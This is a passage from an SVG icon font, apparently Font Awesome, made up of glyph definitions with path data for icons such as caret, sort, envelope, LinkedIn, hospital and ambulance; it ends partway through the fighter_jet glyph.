    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
t66 -158z" />
    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
